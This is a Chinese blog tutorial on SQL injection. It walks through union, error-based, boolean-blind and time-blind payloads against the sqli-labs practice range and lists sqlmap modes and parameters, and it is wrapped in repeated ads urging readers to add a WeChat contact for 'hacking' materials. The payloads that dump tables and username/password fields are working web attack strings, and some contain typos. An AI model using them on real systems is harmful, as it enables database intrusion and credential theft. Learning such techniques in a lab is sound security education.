sql注入原理及各姿势sqlmap使用(1),你会的还只有初级工程师的技术吗

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

  • @@version_compile_os 操作系统版本
  • concat()   合并字符串
  • substr()   截取字符串

a.内置数据库

lnformation_schema   //包含所有mysql数据库的简要信息

b.内置数据表

tables    //表名集合表

columns  //列名集合表

table_schema //数据库名

table_name //表名

column_name //列名

3.sql注入基本思路

一、判断注入类型

id=1’报错为字符型   //找到它的闭合方式, ’ “ ') ")

id=1 and 1=2 或2-1  页面显示错误为数字型

注释:# --+ – - 注释掉后面没有用的语句只执行想要执行的sql语句

二、判断字段数/列名

order by 1 --+

三、判断数据显示点

?id=-1’ union select 1,2,3 --+      //可以把注入点改为负数或零达到注释前半段语句的效果

四、显示用户和数据库名

?id=-1 select 1,user(),databese() --+

五、查看所有表

union select 1,(select group_concat(table_name)form information_schema.tables where table_schema='数据库名'),3 --+

六、查看表里的所有列

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库' and table_name='表名'),3 --+

七、查看字段值

union select 1,(select group_concat(user,pass) from users), 3 --+

4.sqli_labs靶场

一、数字型注入:

传入id=1进行查找注入点,发现页面回显正常

半段注入类型,?id=1-2发现页面无回显,因为表达式传入sql语句中进行了运算,结果为假所以没有回显,类型为数字型注入

使用order by进行判断字段数,4的时候报错说明字段数为3   使用–+来注释后面的语句

发现回显位为2和3,使用union连接sql语句 id=-1注释前面多余语句

查询数据库版本号和当前数据库名

查询security库下面有哪些表

查询users表中的字段

爆出username,password的值

二、报错注入

1.extractvalue

判断闭合方式为单引号

判断字段数到4报错,字段长度为3

使用extractvalue进行报错注入

?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

查看数据库下的所以表

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) --+ 

查询users表下的所以字段名

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'))) --+  

查询users和paswd的值

?id=1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users))) --+    

2.updatexml

这个跟上面那个差不多我这里就不演示了,直接放命令

查询数据库名

?id=1" and 1=updatexml(1,concat('~',(select database())),3) --+

查询数据库下的所有表

?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)

查询表下面的字段名

?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3) --+

查询字段值

?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'~',password),1,30)from users)),3) --+

三、布尔盲注

适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况,web页面只返回True真,False假两种类型利用页面返回不同,逐个猜解数据

使用方法:

使用ascii()把查询到的内容转换成数字,以真假页面来判断字母对应的ascii码数字的正确

看到ascii等于115的时候页面返回为真,等于116的时候页面为假以此判断数据库的一个字符的ascii码值为115,然后对他进行解码就可以了

接下来的操作就是以此类推

查询数据库下的所有表   等于101的时候为真

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+                       

四、时间盲注

时间盲注:就是通过页面回显的速度来判断真加

关键函数:sleep()

判断闭合符号,如果页面被立马执行了就说明为真,缓存三秒后就为假

可以看到响应时间为三秒说明闭合方式为单引号

5.sqlmap工具使用

**ps:**sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

1、sqlmap支持的六种注入模式

1、基于布尔盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句    是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入、即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入、可以使用union的情况下的注入。

5、堆查询注入、可以同时执行多条语句的执行时的注入。

6、内联查询注入、在sql语句中执行sql语句

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

ps://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-rExNr8of-1713407667423)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我尽力回答您的问题。 SQL注入是一种针对web应用程序的攻击方式,攻击者通过在应用程序中注入SQL语句,从而实现对数据库的非法访问或者控制。SQL注入可以分为以下几种类型: 1. 基于错误的SQL注入:攻击者通过构造恶意的SQL语句,使得应用程序在执行时产生错误,从而获得有关数据库的敏感信息。 2. 盲注SQL注入:攻击者无法直接获取数据库的信息,但是可以通过构造恶意的SQL语句,来判断SQL语句的执行结果,从而推断出数据库的信息。 3. 堆叠式SQL注入:攻击者通过将多条SQL语句拼接在一起,从而实现对数据库的非法访问或者控制。 Sqlmap是一款常用的SQL注入工具,可以帮助用户自动化地检测和利用SQL注入漏洞。常用的Sqlmap参数及其含义如下: 1. -u:指定目标URL,例如:-u http://www.example.com/index.php?id=1。 2. -p:指定待测试的参数,例如:-p id。 3. --level:指定测试的深度,级别从1到5,级别越高,测试越深入,但是速度变慢。 4. --risk:指定测试的风险级别,级别从1到3,级别越高,测试越深入,但是风险也越大。 5. --dbms:指定目标数据库类型,例如:--dbms mysql。 6. --dbs:列出所有可访问的数据库。 7. --tables:列出指定数据库中的所有数据表。 8. --columns:列出指定数据表中的所有字段。 9. --dump:将指定数据表中的数据导出到本地。 SQL注入点的判断方法包括: 1. 通过手动方式进行判断,即通过构造恶意的SQL语句,来判断应用程序对SQL注入的处理方式。 2. 通过自动化工具进行判断,例如:Sqlmap可以帮助用户自动化地检测SQL注入漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值